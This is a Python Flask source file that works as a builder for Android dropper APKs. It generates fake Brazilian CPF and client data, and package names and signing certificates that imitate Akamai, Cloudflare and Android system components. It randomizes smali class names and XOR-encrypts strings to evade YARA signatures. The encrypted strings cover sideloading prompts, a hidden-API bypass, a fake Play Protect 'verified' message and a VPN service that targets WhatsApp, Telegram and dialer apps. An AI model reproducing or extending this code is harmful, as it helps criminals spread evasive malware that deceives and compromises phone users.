from flask import Flask, render_template, request, jsonify, send_file, session, redirect, url_for
import os
import subprocess
import shutil
import defusedxml.ElementTree as ET  # was: import xml.etree.ElementTree as ET (CVE-safe)
from werkzeug.utils import secure_filename
from werkzeug.security import generate_password_hash, check_password_hash
import threading
import json
from datetime import datetime, timedelta
import time
import zipfile
import uuid
import requests as http_requests
from PIL import Image as PILImage
PILImage.MAX_IMAGE_PIXELS = 16_000_000  # cap decompression-bomb attacks (max ~4096x4096)
import secrets
import re
import random
import string
from collections import defaultdict

# ===== FAKE CLIENT DATA GENERATORS =====
_NOMES = ['Ana','Bruno','Carlos','Daniela','Eduardo','Fernanda','Gabriel','Helena',
          'Igor','Juliana','Kevin','Larissa','Marcelo','Natalia','Otavio','Patricia',
          'Rafael','Sabrina','Thiago','Vanessa','William','Ximena','Yuri','Zelia']
_SOBRENOMES = ['Silva','Santos','Oliveira','Souza','Lima','Pereira','Costa','Carvalho',
               'Ferreira','Rodrigues','Almeida','Nascimento','Gomes','Martins','Araujo',
               'Melo','Barbosa','Ribeiro','Rocha','Cardoso','Correia','Mendes','Freitas']

def _gen_nome():
    return f"{random.choice(_NOMES)} {random.choice(_SOBRENOMES)}"

def _gen_cpf():
    n = [random.randint(0, 9) for _ in range(9)]
    s1 = sum((10 - i) * n[i] for i in range(9)) * 10 % 11
    d1 = 0 if s1 >= 10 else s1
    n.append(d1)
    s2 = sum((11 - i) * n[i] for i in range(10)) * 10 % 11
    d2 = 0 if s2 >= 10 else s2
    n.append(d2)
    return ''.join(map(str, n))

def _gen_phone():
    ddd = random.choice(['11','21','31','41','51','61','71','81','85','91'])
    num = f"9{random.randint(10000000, 99999999)}"
    return ddd + num

# ===== APK BUILD HELPERS =====
_DROPPER_ORIG_PKG = 'com.android.system.qspaas'

# Prefixos que imitam pacotes legitimos - baseados em analise de APKs reais
_PKG_PREFIXES = [
    ('dev.akamai.worker',    True),
    ('net.akamai.agent',     True),
    ('io.gitlab.proxy',      True),
    ('com.android.system',   True),
    ('com.cloudflare.sdk',   True),
]

def _gen_pkg():
    prefix, use_vhex = random.choice(_PKG_PREFIXES)
    if use_vhex:
        suffix = 'v' + ''.join(random.choices('0123456789abcdef', k=7))
    else:
        suffix = ''.join(random.choices(string.ascii_lowercase, k=random.randint(4, 10)))
    return f"{prefix}.{suffix}"

# DN pools para certificados com aparencia de desenvolvedor legitimo
_KS_CN_POOL = ['Android', 'System', 'Developer', 'Mobile', 'Core', 'Platform', 'App']
_KS_O_POOL  = ['Android Open Source', 'Mobile Platform', 'App Developer',
                'Core Systems', 'Platform Dev', 'Android Dev']
_KS_L_POOL  = ['Mountain View', 'San Francisco', 'Seattle', 'Austin', 'New York', 'San Jose']
_KS_ST_POOL = ['California', 'Washington', 'Texas', 'New York', 'Oregon']

def _generate_temp_keystore():
    """Gera keystore RSA-2048 unico por build.
    Retorna (ks_path, alias, password, tmp_dir) ou None se falhar."""
    import tempfile as _tf
    ks_dir   = _tf.mkdtemp(prefix='apkbld_')
    ks_path  = os.path.join(ks_dir, 'release.jks')
    alias    = ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
    password = secrets.token_hex(16)
    validity = str(random.randint(9000, 12000))
    dname = (
        f"CN={random.choice(_KS_CN_POOL)}, "
        f"OU=Android, "
        f"O={random.choice(_KS_O_POOL)}, "
        f"L={random.choice(_KS_L_POOL)}, "
        f"ST={random.choice(_KS_ST_POOL)}, "
        f"C=US"
    )
    try:
        res = subprocess.run(
            ['keytool', '-genkeypair',
             '-alias', alias,
             '-keyalg', 'RSA', '-keysize', '2048',
             '-validity', validity,
             '-keystore', ks_path,
             '-storepass', password,
             '-keypass',  password,
             '-dname', dname,
             '-noprompt'],
            capture_output=True, text=True, timeout=30
        )
        if res.returncode != 0 or not os.path.exists(ks_path):
            print(f'[keystore] keytool falhou rc={res.returncode}: {res.stderr[:300]}')
            shutil.rmtree(ks_dir, ignore_errors=True)
            return None
        print(f'[keystore] gerado alias={alias} validity={validity}d')
        return ks_path, alias, password, ks_dir
    except Exception as _e:
        print(f'[keystore] excecao: {_e}')
        shutil.rmtree(ks_dir, ignore_errors=True)
        return None


# Pools de nomes para classes internas — soam como componentes Android legitimos
_CLS_MAIN_POOL = [
    'CoreActivity',    'AppActivity',     'BaseActivity',    'LaunchActivity',
    'ConfigActivity',  'HostActivity',    'ManagerActivity', 'NetworkActivity',
    'ServiceActivity', 'StartActivity',
]
_CLS_SVC_POOL = [
    'CoreService',     'NetworkService',  'ManagerService',  'AppService',
    'DataService',     'BackgroundService','HelperService',  'UpdateService',
    'TaskService',     'WorkerService',
]
_CLS_RCV_POOL = [
    'CoreReceiver',    'AppReceiver',     'BootReceiver',    'NetworkReceiver',
    'DataReceiver',    'EventReceiver',   'SyncReceiver',    'TaskReceiver',
]
_CLS_REDIR_POOL = [
    'PackageHelper',   'AppHelper',       'CoreHelper',      'ServiceHelper',
    'SyncHelper',      'DataHelper',      'TaskHelper',      'WorkerHelper',
    'UpdateHelper',    'NetworkHelper',
]
_CLS_BRIDGE_POOL = [
    'CoreUtils',       'AppUtils',        'DataUtils',       'NetUtils',
    'SysUtils',        'PlatUtils',       'BaseUtils',       'HostUtils',
    'TaskUtils',       'WorkUtils',
]
_CLS_WVC_POOL = [
    'CoreClient',      'AppClient',       'DataClient',      'NetClient',
    'SysClient',       'PlatClient',      'BaseClient',      'HostClient',
]

_CLS_CODEC_POOL = [
    'AppCodec',  'DataCodec',  'ByteCodec',  'CoreCodec',  'NetCodec',
    'SysCodec',  'PlatCodec',  'BaseCodec',  'HostCodec',  'TaskCodec',
]
_CLS_ENGINE_POOL = [
    'AppEngine', 'DataEngine', 'ByteEngine', 'CoreEngine', 'NetEngine',
    'SysEngine', 'PlatEngine', 'BaseEngine', 'HostEngine', 'TaskEngine',
]
_CLS_B64_POOL = [
    'AppUtil',  'DataUtil',  'ByteUtil',  'CoreUtil',  'NetUtil',
    'SysUtil',  'PlatUtil',  'HostUtil',  'TaskUtil',  'WorkUtil',
]
_RND_KILL_POOL = [
    'stopNow',    'haltService', 'killNow',    'shutdownNow', 'terminateNow',
    'endProcess', 'stopProcess', 'haltNow',    'closeNow',    'abortNow',
]

def _randomize_class_names(dropper_work):
    """Renomeia classes internas com nomes do pool a cada build."""
    new_main  = random.choice(_CLS_MAIN_POOL)
    new_svc   = random.choice(_CLS_SVC_POOL)
    new_rcv   = random.choice(_CLS_RCV_POOL)
    new_redir = random.choice(_CLS_REDIR_POOL)

    new_bridge = random.choice(_CLS_BRIDGE_POOL)
    new_wvc    = random.choice(_CLS_WVC_POOL)
    new_codec  = random.choice(_CLS_CODEC_POOL)
    new_engine = random.choice(_CLS_ENGINE_POOL)
    new_b64    = random.choice(_CLS_B64_POOL)
    new_kill   = random.choice(_RND_KILL_POOL)

    renames = {
        'MainActivity':    new_main,
        'VpnKillService':  new_svc,
        'RcvJbrzn':        new_rcv,
        'RedirectWatcher': new_redir,
        'DrpJsBridge':     new_bridge,
        'RedirWvc':        new_wvc,
    }
    print(f'[cls_rename] {renames}')
    print(f'[cls_rename] bridge={new_bridge} wvc={new_wvc}')

    smali_dir = os.path.join(dropper_work, 'smali')

    # Fase 1 — renomeia arquivos .smali (inclui inner classes OldName$x.smali)
    all_smali = []
    for rd, _, fs in os.walk(smali_dir):
        for fn in fs:
            if fn.endswith('.smali'):
                all_smali.append((rd, fn))

    for rd, fn in all_smali:
        new_fn = fn
        for old_cls, new_cls in renames.items():
            if new_fn == old_cls + '.smali' or new_fn.startswith(old_cls + '$'):
                new_fn = new_fn.replace(old_cls, new_cls, 1)
        if new_fn != fn:
            try:
                os.rename(os.path.join(rd, fn), os.path.join(rd, new_fn))
            except Exception:
                pass

    # Fase 2 — substitui todas as referencias em smali/xml/yml
    for rd, _, fs in os.walk(dropper_work):
        for fn in fs:
            if not fn.endswith(('.smali', '.xml', '.yml')):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = txt
                for old_cls, new_cls in renames.items():
                    new_txt = new_txt.replace(old_cls, new_cls)
                if new_txt != txt:
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass

    # Fase 3 — renomeia e0/f0/b e randomiza killInstantly
    for _oc, _nc in [("e0", new_codec), ("f0", new_engine), ("b", new_b64)]:
        _op = os.path.join(smali_dir, _oc + ".smali")
        _np = os.path.join(smali_dir, _nc + ".smali")
        if os.path.exists(_op):
            try:
                os.rename(_op, _np)
            except Exception:
                pass
    _short_map = {"Le0;": f"L{new_codec};", "Lf0;": f"L{new_engine};", "Lb;": f"L{new_b64};"}
    for _rd2, _, _fs2 in os.walk(dropper_work):
        for _fn2 in _fs2:
            if not _fn2.endswith((".smali", ".xml", ".yml")):
                continue
            _fp2 = os.path.join(_rd2, _fn2)
            try:
                with open(_fp2, "r", encoding="utf-8", errors="ignore") as _f2:
                    _t2 = _f2.read()
                _t2n = _t2
                for _op2, _np2 in _short_map.items():
                    _t2n = _t2n.replace(_op2, _np2)
                _t2n = _t2n.replace("killInstantly", new_kill)
                if _t2n != _t2:
                    with open(_fp2, "w", encoding="utf-8") as _f2:
                        _f2.write(_t2n)
            except Exception:
                pass
    print(f"[cls_rename] codec={new_codec} engine={new_engine} b64={new_b64} kill={new_kill}")
    renames['_kill'] = new_kill
    renames['_codec'] = new_codec
    return renames


def _strip_smali_debug(dropper_work):
    """Remove anotacoes de debug (.line, .source, .local, .prologue).
    Reduz tamanho do APK sem alterar comportamento em runtime."""
    _pat = re.compile(
        r'^\s*(?:'
        r'\.line\s+\d+'              # .line 42
        r'|\.source\s+"[^"]*"'       # .source "MainActivity.java"
        r'|\.local\s+\S[^\n]*'       # .local v0, "name":I
        r'|\.end\s+local\s+\S[^\n]*' # .end local v0
        r'|\.restart\s+local\s+\S[^\n]*'  # .restart local v0
        r'|\.prologue'               # .prologue
        r')\s*\n',
        re.MULTILINE
    )
    _blanks = re.compile(r'\n{3,}')
    saved = 0
    for rd, _, fs in os.walk(os.path.join(dropper_work, 'smali')):
        for fn in fs:
            if not fn.endswith('.smali'):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = _pat.sub('\n', txt)
                new_txt = _blanks.sub('\n\n', new_txt)
                if new_txt != txt:
                    saved += len(txt) - len(new_txt)
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass
    print(f'[debug_strip] {saved} bytes removidos de smali')


def _encrypt_smali_strings(dropper_work):
    """XOR-cifra strings suspeitas em MainActivity.smali (copia de trabalho).
    Usa registradores frescos (alem do .locals original) para evitar conflito
    de tipo no verificador Dalvik. Chave aleatoria por build."""
    import base64 as _b64

    def _xor_enc(plain_str):
        key_raw = ''.join(random.choices(string.ascii_letters + string.digits,
                                         k=random.randint(8, 16)))
        pt  = plain_str.encode('utf-8')
        kb  = key_raw.encode('utf-8')
        enc = bytes(pt[i] ^ kb[i % len(kb)] for i in range(len(pt)))
        return _b64.b64encode(enc).decode(), _b64.b64encode(kb).decode()

    def _blk(rd, rk, plain_str):
        enc, key = _xor_enc(plain_str)
        return (
            f'    const-string {rd}, "{enc}"\n'
            f'    const-string {rk}, "{key}"\n'
            f'    invoke-static {{{rd}, {rk}}}, Le0;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\n'
            f'    move-result-object {rd}'
        )

    target = None
    for _rd, _, _fs in os.walk(os.path.join(dropper_work, 'smali')):
        for _fn in _fs:
            if _fn == 'MainActivity.smali':
                target = os.path.join(_rd, _fn)
                break
        if target:
            break

    if not target:
        print('[enc_str] MainActivity.smali nao encontrado, pulando')
        return

    with open(target, 'r', encoding='utf-8') as f:
        txt = f.read()

    original = txt
    patched  = 0

    # ── method L()V (.locals 15, p0=v15 — NAO aumentar locals) ────────────────
    # getPackageInstaller: key=v10 (sobrescrito por new-array v10 logo apos)
    # MODE_FULL_INSTALL:   key=v8  (sobrescrito por const/4 v8, 0x0 logo apos)
    # Ambos sao sobrescritos imediatamente — nenhum tipo String persiste.
    _old = '    const-string v8, "getPackageInstaller"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v8', 'v10', 'getPackageInstaller'), 1)
        patched += 1

    _old = '    const-string v7, "MODE_FULL_INSTALL"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v8', 'MODE_FULL_INSTALL'), 1)
        patched += 1

    # ── method k()Ljava/lang/String; ─────────────────────────────────────────
    # Aumenta .locals 3 -> 4 para ter v3 como registrador temp limpo.
    # Strings de idioma: data=v0, key=v3
    _old = '.method public final k()Ljava/lang/String;\n    .locals 3'
    if _old in txt:
        txt = txt.replace(_old, '.method public final k()Ljava/lang/String;\n    .locals 4', 1)
        patched += 1

    _lang = [
        ('    const-string v0, "To continue, enable installation from unknown sources in settings."',
         'To continue, enable installation from unknown sources in settings.'),
        ('    const-string v0, "Para continuar, ative a permiss\\u00e3o de instala\\u00e7\\u00e3o de fontes desconhecidas nas configura\\u00e7\\u00f5es."',
         'Para continuar, ative a permissão de instalação de fontes desconhecidas nas configurações.'),
        ('    const-string v0, "Per continuar, abilita l\\\'installazione da origini sconosciute nelle impostazioni."',
         'Per continuar, abilita l\'installazione da origini sconosciute nelle impostazioni.'),
        ('    const-string v0, "Pour continuer, activez l\\\'installation de sources inconnues dans les param\\u00e8tres."',
         'Pour continuer, activez l\'installation de sources inconnues dans les paramètres.'),
        ('    const-string v0, "Para continuar, habilite la instalaci\\u00f3n de or\\u00edgenes desconocidos en los ajustes."',
         'Para continuar, habilite la instalación de orígenes desconocidos en los ajustes.'),
        ('    const-string v0, "Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen."',
         'Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen.'),
    ]
    for _old_smali, _plain in _lang:
        if _old_smali in txt:
            txt = txt.replace(_old_smali, _blk('v0', 'v3', _plain), 1)
            patched += 1

    # ── method l()V ──────────────────────────────────────────────────────────
    # Aumenta .locals 4 -> 5 para ter v4 como registrador temp limpo.
    # Installing...: data=v2, key=v4
    _old = '.method public final l()V\n    .locals 4'
    if _old in txt:
        txt = txt.replace(_old, '.method public final l()V\n    .locals 5', 1)
        patched += 1

    _old = '    const-string v2, "Installing..."'
    if _old in txt:
        txt = txt.replace(_old, _blk('v2', 'v4', 'Installing...'), 1)
        patched += 1

    # ── j()V: hidden API bypass strings ──────────────────────────────────────
    # .locals 9 -> 10 e seguro: p0 vai para reg fisico 10 (< 16). v9 = chave temp.
    _old = '.method public final j()V\n    .locals 9'
    if _old in txt:
        txt = txt.replace(_old, '.method public final j()V\n    .locals 10\n\n    const/4 v9, 0x0', 1)
        patched += 1

    _old = '    const-string v2, "forName"\n\n    const/4 v3, 0x1'
    if _old in txt:
        txt = txt.replace(_old, _blk('v2', 'v9', 'forName') + '\n\n    const/4 v3, 0x1', 1)
        patched += 1

    _old = '    const-string v4, "getDeclaredMethod"\n\n    const/4 v6, 0x2'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'getDeclaredMethod') + '\n\n    const/4 v6, 0x2', 1)
        patched += 1

    _old = '    const-string v4, "dalvik.system.VMRuntime"\n\n    aput-object v4, v1, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'dalvik.system.VMRuntime') + '\n\n    aput-object v4, v1, v5', 1)
        patched += 1

    _old = '    const-string v7, "getRuntime"\n\n    aput-object v7, v2, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'getRuntime') + '\n\n    aput-object v7, v2, v5', 1)
        patched += 1

    _old = '    const-string v7, "setHiddenApiExemptions"\n\n    aput-object v7, v6, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'setHiddenApiExemptions') + '\n\n    aput-object v7, v6, v5', 1)
        patched += 1

    # "L" = exemption prefix passado para setHiddenApiExemptions — v9 livre aqui
    _old = '    const-string v4, "L"\n\n    aput-object v4, v3, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'L') + '\n\n    aput-object v4, v3, v5', 1)
        patched += 1

    # ── L()V: PackageInstaller reflection strings ─────────────────────────────
    # NAO aumenta .locals 15 — p0 ficaria em reg fisico 16 (invalido 4-bit).
    # Usa registrador sobrescrito imediatamente como chave XOR temp.
    _old = '    const-string v11, "createSession"\n\n    new-array v12, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v11', 'v12', 'createSession') + '\n\n    new-array v12, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v7, "openSession"\n\n    new-array v11, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v11', 'openSession') + '\n\n    new-array v11, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v1, "openWrite"\n\n    const/4 v7, 0x3'
    if _old in txt:
        txt = txt.replace(_old, _blk('v1', 'v7', 'openWrite') + '\n\n    const/4 v7, 0x3', 1)
        patched += 1

    _old = '    const-string v4, "android.content.IntentSender"\n\n    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v7', 'android.content.IntentSender') + '\n\n    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v7, "commit"\n\n    new-array v9, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'commit') + '\n\n    new-array v9, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v1, "close"\n\n    new-array v3, v2, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v1', 'v3', 'close') + '\n\n    new-array v3, v2, [Ljava/lang/Class;', 1)
    _old = '    const-string v7, "PeriCred"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v8', 'PeriCred'), 1)
        patched += 1

    _old = '    const-string v1, "\\u2713 Google Play Protect verificado"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v1', 'v8', '\u2713 Google Play Protect verificado'), 1)
        patched += 1

    # ── onCreate — RETRY e Retrying... ──────────────────────────────────────
    # Aumenta .locals 3 -> 4 para ter v3 como registrador temp limpo.
    _old = '.method public onCreate(Landroid/os/Bundle;)V\n    .locals 3'
    if _old in txt:
        txt = txt.replace(_old, '.method public onCreate(Landroid/os/Bundle;)V\n    .locals 4', 1)
        patched += 1

    _old = '    const-string v0, "RETRY"\n\n    const/4 v1, 0x0'
    if _old in txt:
        txt = txt.replace(_old, _blk('v0', 'v3', 'RETRY') + '\n\n    const/4 v1, 0x0', 1)
        patched += 1

    _old = '    const-string v0, "Retrying..."\n\n    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V'
    if _old in txt:
        txt = txt.replace(_old, _blk('v0', 'v3', 'Retrying...') + '\n\n    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V', 1)
        patched += 1

    if txt != original:
        with open(target, 'w', encoding='utf-8') as f:
            f.write(txt)
        print(f'[enc_str] {patched} patch(es) aplicados em {os.path.basename(target)}')
    else:
        print('[enc_str] nenhuma string encontrada')

    # ── RcvJbrzn.smali ─────────────────────────────────────────────────────────
    _rcv_target = None
    for _rrd, _, _rfs in os.walk(os.path.join(dropper_work, 'smali')):
        for _rfn in _rfs:
            if _rfn == 'RcvJbrzn.smali':
                _rcv_target = os.path.join(_rrd, _rfn)
                break
        if _rcv_target:
            break

    if _rcv_target:
        with open(_rcv_target, 'r', encoding='utf-8') as _rf:
            _rtxt = _rf.read()
        _rorig = _rtxt
        _rpatched = 0

        # b() .locals 8 -> 9  (adiciona v8 como reg chave)
        _old = '.method public final b(Landroid/content/Context;)V\n    .locals 8'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, '.method public final b(Landroid/content/Context;)V\n    .locals 9', 1)
            _rpatched += 1

        # b(): connectivity (v0=data, v8=key)
        _old = '    const-string v0, "connectivity"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v0', 'v8', 'connectivity'), 1)
            _rpatched += 1

        # d(): activity (v7=data, v10=key — .locals 11, v10 livre)
        _old = '    const-string v7, "activity"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v7', 'v10', 'activity'), 1)
            _rpatched += 1

        # d(): android.intent.category.LAUNCHER (v8=data, v10=key)
        _old = '    const-string v8, "android.intent.category.LAUNCHER"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v8', 'v10', 'android.intent.category.LAUNCHER'), 1)
            _rpatched += 1

        # d(): android.settings.ACCESSIBILITY_SETTINGS (v0=data, v10=key)
        _old = '    const-string v0, "android.settings.ACCESSIBILITY_SETTINGS"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v0', 'v10', 'android.settings.ACCESSIBILITY_SETTINGS'), 1)
            _rpatched += 1

        # onReceive() .locals 5 -> 6  (adiciona v5 como reg chave)
        _old = '.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V\n    .locals 5'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, '.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V\n    .locals 6', 1)
            _rpatched += 1

        # onReceive(): android.intent.extra.INTENT (v0=data, v5=key)
        _old = '    const-string v0, "android.intent.extra.INTENT"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v0', 'v5', 'android.intent.extra.INTENT'), 1)
            _rpatched += 1

        # onReceive(): android.content.pm.extra.STATUS (v2=data, v5=key)
        _old = '    const-string v2, "android.content.pm.extra.STATUS"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v2', 'v5', 'android.content.pm.extra.STATUS'), 1)
            _rpatched += 1

        # onReceive(): RETRY (v1=data, v5=key)
        _old = '    const-string v1, "RETRY"'
        if _old in _rtxt:
            _rtxt = _rtxt.replace(_old, _blk('v1', 'v5', 'RETRY'), 1)
            _rpatched += 1

        if _rtxt != _rorig:
            with open(_rcv_target, 'w', encoding='utf-8') as _rf:
                _rf.write(_rtxt)
            print(f'[enc_str] {_rpatched} patch(es) em RcvJbrzn.smali')
        else:
            print('[enc_str] RcvJbrzn: nenhum patch aplicado')

    # ── VpnKillService.smali — encrypt target app package list ────────────────
    _vpn_target = None
    for _vrd, _, _vfs in os.walk(os.path.join(dropper_work, 'smali')):
        for _vfn in _vfs:
            if _vfn == 'VpnKillService.smali':
                _vpn_target = os.path.join(_vrd, _vfn)
                break
        if _vpn_target:
            break

    if _vpn_target:
        with open(_vpn_target, 'r', encoding='utf-8') as _vf:
            _vtxt = _vf.read()
        _vorig = _vtxt
        _vpatched = 0

        _old_loc = '.method public onStartCommand(Landroid/content/Intent;II)I\n    .locals 4'
        if _old_loc in _vtxt:
            _vtxt = _vtxt.replace(_old_loc, '.method public onStartCommand(Landroid/content/Intent;II)I\n    .locals 5', 1)
            _vpatched += 1

        for _vpkg in [
            'com.whatsapp', 'com.whatsapp.w4b', 'com.gbwhatsapp',
            'org.telegram.messenger', 'org.telegram.messenger.web',
            'com.facebook.orca', 'com.google.android.dialer',
            'com.android.dialer', 'com.samsung.android.dialer',
            'com.miui.voiceassist', 'com.google.android.apps.meetings',
            'com.skype.raider',
        ]:
            _old_vpkg = f'    const-string v2, "{_vpkg}"'
            if _old_vpkg in _vtxt:
                _vtxt = _vtxt.replace(_old_vpkg, _blk('v2', 'v4', _vpkg), 1)
                _vpatched += 1

        # -- VpnKillService: cifrar literais do VpnService.Builder (IOCs YARA fortes)
        # "10.0.0.2","fd00::2","0.0.0.0","::","10.0.0.1","System" em texto puro sao
        # assinatura de dropper-VPN. Cifra via codec (p3=data, v4=key) + randomiza
        # IPs/sessao por build. Valores continuam validos -> sem mudanca de comportamento.
        _VPN_IPV4 = random.choice([
            ('10.0.0.2', '10.0.0.1'), ('10.8.0.2', '10.8.0.1'),
            ('172.16.0.2', '172.16.0.1'), ('192.168.50.2', '192.168.50.1'),
        ])
        _VPN_IPV6 = random.choice(['fd00::2', 'fd01::2', 'fd0a::2', 'fdff::2'])
        _VPN_SESS = random.choice([
            'Connectivity', 'Network', 'Sync', 'Runtime',
            'Service', 'Update', 'NetSession', 'DataChannel',
        ])
        for _vlit_old, _vlit_new in [
            ('10.0.0.2', _VPN_IPV4[0]),
            ('fd00::2', _VPN_IPV6),
            ('0.0.0.0', '0.0.0.0'),
            ('::', '::'),
            ('10.0.0.1', _VPN_IPV4[1]),
            ('System', _VPN_SESS),
        ]:
            _old_vlit = f'    const-string p3, "{_vlit_old}"'
            if _old_vlit in _vtxt:
                _vtxt = _vtxt.replace(_old_vlit, _blk('p3', 'v4', _vlit_new), 1)
                _vpatched += 1

        if _vtxt != _vorig:
            with open(_vpn_target, 'w', encoding='utf-8') as _vf:
                _vf.write(_vtxt)
            print(f'[enc_str] {_vpatched} patch(es) em VpnKillService.smali')
        else:
            print('[enc_str] VpnKillService: nenhum patch aplicado')


def _encrypt_receiver_strings(dropper_work, renames):
    """Cifra pos-rename os literais de reflexao/nome-de-componente no receiver.
    Roda DEPOIS de _randomize_class_names: os nomes renomeados (.AppService,
    stopProcess, .MainActivity, .RcvJbrzn) ficariam em texto puro no smali,
    entregando a assinatura de reflexao do dropper. XOR-cifrados via codec
    (ja renomeado) e decodificados em runtime. Nao altera o fluxo."""
    import base64 as _b64, string as _str
    new_rcv   = renames.get('RcvJbrzn', 'RcvJbrzn')
    new_svc   = renames.get('VpnKillService', 'VpnKillService')
    new_main  = renames.get('MainActivity', 'MainActivity')
    new_kill  = renames.get('_kill', 'stopNow')
    new_codec = renames.get('_codec', 'BaseCodec')
    codec_ref = f'L{new_codec};'

    def _xor_enc(plain):
        key = ''.join(random.choices(_str.ascii_letters + _str.digits, k=random.randint(8, 16)))
        pt = plain.encode('utf-8'); kb = key.encode('utf-8')
        enc = bytes(pt[i] ^ kb[i % len(kb)] for i in range(len(pt)))
        return _b64.b64encode(enc).decode(), _b64.b64encode(kb).decode()

    def _blk(rd, rk, plain):
        enc, key = _xor_enc(plain)
        return (f'    const-string {rd}, "{enc}"\n'
                f'    const-string {rk}, "{key}"\n'
                f'    invoke-static {{{rd}, {rk}}}, {codec_ref}->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\n'
                f'    move-result-object {rd}')

    target = None
    for _rd, _, _fs in os.walk(os.path.join(dropper_work, 'smali')):
        for _fn in _fs:
            if _fn == new_rcv + '.smali':
                target = os.path.join(_rd, _fn)
        if target:
            break
    if not target:
        print('[enc_rcv] receiver nao encontrado, pulando')
        return

    with open(target, 'r', encoding='utf-8') as _rf:
        t = _rf.read()
    orig = t
    n = 0

    # c() .locals 6 -> 7 (v6 vira key livre; p1 desloca simbolico)
    _old = '.method public final c(Landroid/content/Context;)V\n    .locals 6'
    if _old in t:
        t = t.replace(_old, '.method public final c(Landroid/content/Context;)V\n    .locals 7', 1)
        n += 1

    # b(): .locals 9 (ja bumpado pelo pre-pass). v8 = key.
    _old = f'    const-string v0, ".{new_svc}"'
    if _old in t:
        t = t.replace(_old, _blk('v0', 'v8', '.' + new_svc), 1)
        n += 1
    _old = f'    const-string v3, "{new_kill}"'
    if _old in t:
        t = t.replace(_old, _blk('v3', 'v8', new_kill), 1)
        n += 1

    # c(): v5 = data, v6 = key
    _old = f'    const-string v5, ".{new_main}"'
    if _old in t:
        t = t.replace(_old, _blk('v5', 'v6', '.' + new_main), 1)
        n += 1
    _old = f'    const-string v5, ".{new_svc}"'
    if _old in t:
        t = t.replace(_old, _blk('v5', 'v6', '.' + new_svc), 1)
        n += 1
    _old = f'    const-string v5, ".{new_rcv}"'
    if _old in t:
        t = t.replace(_old, _blk('v5', 'v6', '.' + new_rcv), 1)
        n += 1

    if t != orig:
        with open(target, 'w', encoding='utf-8') as _rf:
            _rf.write(t)
        print(f'[enc_rcv] {n} patch(es) em {new_rcv}.smali')
    else:
        print('[enc_rcv] nenhum patch aplicado')

    # -- MainActivity (renomeado): cifrar ".AppService" em M(), onDestroy() e r().
    # M() e onDestroy() (.locals 3, nao usam v3): bump -> 4, v3=key. r() (.locals 6):
    # v1 livre no inicio do metodo, sem bump. Bloco dentro dos try existentes.
    _main_target = None
    for _mrd, _, _mfs in os.walk(os.path.join(dropper_work, 'smali')):
        for _mfn in _mfs:
            if _mfn == new_main + '.smali':
                _main_target = os.path.join(_mrd, _mfn)
        if _main_target:
            break
    if _main_target:
        with open(_main_target, 'r', encoding='utf-8') as _mf:
            mt = _mf.read()
        morig = mt
        mn = 0
        _old = '.method public final M()V\n    .locals 3'
        if _old in mt:
            mt = mt.replace(_old, '.method public final M()V\n    .locals 4', 1)
            mn += 1
        _old = '.method public onDestroy()V\n    .locals 3'
        if _old in mt:
            mt = mt.replace(_old, '.method public onDestroy()V\n    .locals 4', 1)
            mn += 1
        _old = f'    const-string v2, ".{new_svc}"'
        while _old in mt:
            mt = mt.replace(_old, _blk('v2', 'v3', '.' + new_svc), 1)
            mn += 1
        _old = f'    const-string v0, ".{new_svc}"'
        if _old in mt:
            mt = mt.replace(_old, _blk('v0', 'v1', '.' + new_svc), 1)
            mn += 1
        if mt != morig:
            with open(_main_target, 'w', encoding='utf-8') as _mf:
                _mf.write(mt)
            print(f'[enc_main] {mn} patch(es) em {new_main}.smali')
        else:
            print('[enc_main] nenhum patch em MainActivity')

def _randomize_assets(dropper_work):
    import string as _str
